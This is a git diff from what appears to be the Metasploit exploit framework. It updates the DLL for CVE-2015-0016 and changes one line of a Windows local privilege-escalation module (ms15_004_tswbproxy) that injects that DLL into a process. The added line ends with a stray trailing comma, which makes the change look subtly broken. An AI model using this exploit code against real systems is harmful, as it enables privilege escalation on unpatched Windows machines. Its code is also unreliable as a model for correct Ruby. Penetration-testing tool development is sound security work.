diff --git a/data/exploits/CVE-2015-0016/cve-2015-0016.dll b/data/exploits/CVE-2015-0016/cve-2015-0016.dll index aa66055e6d..2d2f1dbba3 100755 Binary files a/data/exploits/CVE-2015-0016/cve-2015-0016.dll and b/data/exploits/CVE-2015-0016/cve-2015-0016.dll differ diff --git a/modules/exploits/windows/local/ms15_004_tswbproxy.rb b/modules/exploits/windows/local/ms15_004_tswbproxy.rb index 6fdcf74aad..0adbd727dc 100644 --- a/modules/exploits/windows/local/ms15_004_tswbproxy.rb +++ b/modules/exploits/windows/local/ms15_004_tswbproxy.rb @@ -115,7 +115,7 @@ class Metasploit3 < Msf::Exploit::Local print_status('Exploiting...') process = client.sys.process.open - library_path = ::File.join('/', 'tmp', 'reflective_dll.dll') + library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0016', 'cve-2015-0016.dll'), print_status("Injecting exploit into #{process.pid}...") exploit_mem, offset = inject_dll_into_process(process, library_path)